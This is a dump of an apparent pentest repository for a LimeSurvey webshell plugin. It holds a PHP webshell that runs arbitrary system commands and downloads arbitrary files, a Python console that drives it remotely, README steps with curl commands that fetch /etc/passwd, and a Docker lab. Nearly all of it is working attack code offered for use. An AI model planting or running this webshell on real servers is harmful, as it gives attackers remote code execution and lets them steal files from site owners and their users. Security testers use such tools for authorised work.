├── .github
├── FUNDING.yml
├── configuration_plugins.png
├── demo.mp4
├── download_file_web.png
├── exec_code_web.png
└── upload_and_install.png
├── Makefile
├── README.md
├── console.py
├── dist
└── limesurvey-webshell-plugin-1.1.0.zip
├── plugin
├── config.xml
└── webshell.php
└── test_env
├── Dockerfile
└── Makefile
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: p0dalirius
4 | patreon: Podalirius
--------------------------------------------------------------------------------
/.github/configuration_plugins.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/configuration_plugins.png
--------------------------------------------------------------------------------
/.github/demo.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/demo.mp4
--------------------------------------------------------------------------------
/.github/download_file_web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/download_file_web.png
--------------------------------------------------------------------------------
/.github/exec_code_web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/exec_code_web.png
--------------------------------------------------------------------------------
/.github/upload_and_install.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/upload_and_install.png
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: all build
2 |
3 | VERSION := 1.2.0
4 |
5 | all: build
6 |
7 | build:
8 | @if [ -f ./dist/limesurvey-webshell-plugin-${VERSION}.zip ]; then rm ./dist/limesurvey-webshell-plugin-${VERSION}.zip; fi
9 | @if [ ! -d ./dist/ ]; then mkdir ./dist/; fi
10 | @cd plugin; zip -r ../dist/limesurvey-webshell-plugin-${VERSION}.zip ./config.xml ./webshell.php
11 | @echo "[+] Saved to ./dist/limesurvey-webshell-plugin-${VERSION}.zip"
12 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LimeSurvey webshell plugin for RCE
2 |
3 |
4 | A webshell plugin and interactive shell for pentesting a LimeSurvey application.
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | ## Features
13 |
14 | - [x] Webshell plugin for LimeSurvey.
15 | - [x] Execute system commands via an API with `?action=exec`.
16 | - [x] Download files from the remote system to your attacking machine with `?action=download`.
17 |
18 | ## Usage
19 |
20 | **Requirements**: You need to have the credentials of the `admin` account of the LimeSurvey instance.
21 |
22 | ### Step 1: Upload the webshell plugin
23 |
24 | Go to "Configuration --> plugins" page, at http://localhost:10080/index.php/admin/pluginmanager/sa/index, and click on "Upload & install":
25 |
26 | 
27 |
28 | ### Step 2.1: Executing commands
29 |
30 | You can now execute commands by sending a GET or POST request to http://127.0.0.1/upload/plugins/WebShell/webshell.php with `action=exec&cmd=id`:
31 |
32 | ```sh
33 | $ curl -X POST 'http://localhost:10080/upload/plugins/WebShell/webshell.php' --data "action=exec&cmd=id"
34 | {"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
35 | ```
36 |
37 | You can also access it by a GET request from a browser:
38 |
39 | 
40 |
41 | ### Step 2.2: Downloading files
42 |
43 | You can also download remote files by sending a GET or POST request to http://localhost:10080/upload/plugins/WebShell/webshell.php with `action=download&cmd=/etc/passwd`:
44 |
45 | ```sh
46 | $ curl -X POST 'http://127.0.0.1/upload/plugins/WebShell/webshell.php' --data "action=download&path=/etc/passwd" -o-
47 | root:x:0:0:root:/root:/bin/bash
48 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
49 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
50 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
51 | sync:x:4:65534:sync:/bin:/bin/sync
52 | games:x:5:60:games:/usr/games:/usr/sbin/nologin
53 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
54 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
55 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
56 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
57 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
58 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
59 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
60 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
61 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
62 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
63 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
64 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
65 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
66 | mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
67 | ```
68 |
69 | You can also download a remote file from a browser with a GET request :
70 |
71 | 
72 |
73 | ### Step 3: The interactive console
74 |
75 | When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.
76 |
77 | https://user-images.githubusercontent.com/79218792/163652719-eb16acba-6e2c-47a2-bc52-21ceff24dc09.mp4
78 |
79 | ## References
80 | - https://manual.limesurvey.org/Plugin_autoactivation
81 |
--------------------------------------------------------------------------------
/console.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : console.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 22 May 2022
6 |
7 |
8 | import argparse
9 | import os
10 | import readline
11 | import requests
12 | import json
13 |
14 |
15 | class CommandCompleter(object):
16 | def __init__(self):
17 | self.options = {
18 | "help": [],
19 | "download": [],
20 | "exit": []
21 | }
22 |
23 | def complete(self, text, state):
24 | if state == 0:
25 | if len(text) == 0:
26 | self.matches = [s for s in self.options.keys()]
27 | elif len(text) != 0:
28 | self.matches = [s for s in self.options.keys() if s and s.startswith(text)]
29 | try:
30 | return self.matches[state] + " "
31 | except IndexError:
32 | return None
33 |
34 |
35 | readline.set_completer(CommandCompleter().complete)
36 | readline.parse_and_bind('tab: complete')
37 | readline.set_completer_delims('\n')
38 |
39 |
40 | def parseArgs():
41 | parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin")
42 | parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance')
43 | parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
44 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
45 | return parser.parse_args()
46 |
47 |
48 | def remote_exec(target, cmd, verbose=False):
49 | try:
50 | r = requests.post(
51 | "%s/upload/plugins/WebShell/webshell.php" % target,
52 | data={
53 | "action": "exec",
54 | "cmd": cmd,
55 | }
56 | )
57 | if r.status_code == 200:
58 | data = r.json()
59 | if verbose:
60 | print(json.dumps(data, indent=4))
61 | if len(data["stdout"].strip()) != 0:
62 | print(data["stdout"].strip())
63 |
64 | if len(data["stderr"].strip()) != 0:
65 | for line in data["stderr"].strip().split('\n'):
66 | print("\x1b[91m%s\x1b[0m" % line)
67 | except Exception as e:
68 | print(e)
69 |
70 |
71 | def remote_download(target, remote_path, local_path="./loot/"):
72 | def b_filesize(content):
73 | l = len(content)
74 | units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
75 | for k in range(len(units)):
76 | if l < (1024 ** (k + 1)):
77 | break
78 | return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k])
79 | #
80 | r = requests.post(
81 | "%s/upload/plugins/WebShell/webshell.php" % target,
82 | data={
83 | "action": "download",
84 | "path": remote_path,
85 | }
86 | )
87 |
88 | if r.status_code == 200:
89 | print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path))
90 | dir = local_path + os.path.dirname(remote_path)
91 | if not os.path.exists(dir):
92 | os.makedirs(dir, exist_ok=True)
93 | f = open(local_path + remote_path, "wb")
94 | f.write(r.content)
95 | f.close()
96 | return True
97 | else:
98 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path))
99 | return False
100 |
101 |
102 | def show_help():
103 | print(" - %-15s %s " % ("download", "Downloads a file from the remote server."))
104 | print(" - %-15s %s " % ("help", "Displays this help message."))
105 | print(" - %-15s %s " % ("exit", "Exits the script."))
106 | return
107 |
108 |
109 | if __name__ == '__main__':
110 | options = parseArgs()
111 |
112 | if not options.target.startswith("https://") and not options.target.startswith("http://"):
113 | options.target = "http://" + options.target
114 |
115 | if options.insecure_tls:
116 | # Disable warings of insecure connection for invalid cerificates
117 | requests.packages.urllib3.disable_warnings()
118 | # Allow use of deprecated and weak cipher methods
119 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
120 | try:
121 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
122 | except AttributeError:
123 | pass
124 |
125 | running = True
126 | while running:
127 | cmd = input("[webshell]> ").strip()
128 | args = cmd.lower().split(" ")
129 |
130 | if args[0] == "exit":
131 | running = False
132 | elif args[0] == "help":
133 | show_help()
134 | elif args[0] == "download":
135 | if len(args) != 2 and len(args) != 3:
136 | print("Usage: download [localpath]")
137 | elif len(args) == 2:
138 | remote_download(options.target, remote_path=args[1])
139 | elif len(args) == 3:
140 | remote_download(options.target, remote_path=args[1], local_path=args[2])
141 | else:
142 | remote_exec(options.target, cmd, verbose=options.verbose)
143 |
--------------------------------------------------------------------------------
/dist/limesurvey-webshell-plugin-1.1.0.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/dist/limesurvey-webshell-plugin-1.1.0.zip
--------------------------------------------------------------------------------
/plugin/config.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | WebShell
5 | plugin
6 | 2022-04-15
7 | 2022-04-15
8 | Podalirius
9 | https://podalirius.net/
10 | 1.2.0
11 | GNU General Public License version 2 or later
12 |
13 |
14 |
15 |
16 | 6.0
17 | 5.0
18 | 4.0
19 | 3.0
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/plugin/webshell.php:
--------------------------------------------------------------------------------
1 | "Path " . $path_to_file . " does not exist or is not readable.",
27 | "path" => $path_to_file
28 | )
29 | );
30 | }
31 |
32 | } elseif ($action == "exec") {
33 | $command = $_REQUEST["cmd"];
34 |
35 | // Spawn shell process
36 | $descriptorspec = array(
37 | 0 => array("pipe", "w"), // stdout is a pipe that the child will write to
38 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
39 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to
40 | );
41 |
42 | chdir("/");
43 | $process = proc_open($command, $descriptorspec, $pipes);
44 |
45 | if (!is_resource($process)) {
46 | // Can't spawn process
47 | exit(1);
48 | }
49 |
50 | // Set everything to non-blocking
51 | // Reason: Occasionally reads will block, even though stream_select tells us they won't
52 | // stream_set_blocking($pipes[1], 0);
53 | // stream_set_blocking($pipes[2], 0);
54 |
55 | // If we can read from the process's STDOUT send data down tcp connection
56 | $stdout = ""; $buffer = "";
57 | do {
58 | $buffer = fread($pipes[1], $chunk_size);
59 | $stdout = $stdout . $buffer;
60 | } while ((!feof($pipes[1])) && (strlen($buffer) != 0));
61 |
62 | // If we can read from the process's STDOUT send data down tcp connection
63 | $stderr = ""; $buffer = "";
64 | do {
65 | $buffer = fread($pipes[2], $chunk_size);
66 | $stderr = $stderr . $buffer;
67 | } while ((!feof($pipes[2])) && (strlen($buffer) != 0));
68 |
69 | fclose($pipes[1]);
70 | fclose($pipes[2]);
71 | proc_close($process);
72 |
73 | header('Content-Type: application/json');
74 | echo json_encode(
75 | array(
76 | 'stdout' => $stdout,
77 | 'stderr' => $stderr,
78 | 'exec' => $command
79 | )
80 | );
81 | }
82 |
83 | ?>
84 |
--------------------------------------------------------------------------------
/test_env/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM debian:buster
2 |
3 | RUN apt-get -y -q update; \
4 | apt-get -y -q install apache2 xxd git unzip wget php php-simplexml php-gd php-ldap php-zip php-imap php-mysql php-mbstring mariadb-client mariadb-server
5 |
6 | RUN service mysql start;\
7 | mysql -u root -e "CREATE USER 'db'@'%' IDENTIFIED BY 'db'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = 'db'; GRANT ALL PRIVILEGES ON *.* TO 'db'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;"
8 |
9 | RUN wget https://github.com/LimeSurvey/LimeSurvey/archive/refs/tags/5.2.4+211129.zip -O /tmp/LimeSurvey.zip ;\
10 | cd /var/www/html/; rm index.html; unzip /tmp/LimeSurvey.zip; mv LimeSurvey-5.2.4-211129/* .
11 |
12 | RUN chown www-data: -R /var/www/
13 |
14 | RUN echo "#!/bin/bash" > /entrypoint.sh ;\
15 | echo "service mysql start" >> /entrypoint.sh ;\
16 | echo "apachectl -D FOREGROUND" >> /entrypoint.sh ;\
17 | chmod +x /entrypoint.sh
18 |
19 | EXPOSE 80
20 |
21 | CMD /entrypoint.sh
22 |
--------------------------------------------------------------------------------
/test_env/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: build img
2 |
3 | IMGNAME := awesome_rce_limesurvey_upload_plugin
4 | PORT := 10080
5 |
6 | all : build
7 |
8 | build:
9 | docker build -t $(IMGNAME):latest -f Dockerfile .
10 |
11 | start: build
12 | docker run --rm -it -p $(PORT):80 $(IMGNAME)
13 |
14 | background:
15 | docker run --rm -d -p $(PORT):80 $(IMGNAME)
16 |
17 | shell:
18 | docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash
19 |
20 | stop:
21 | docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}')
--------------------------------------------------------------------------------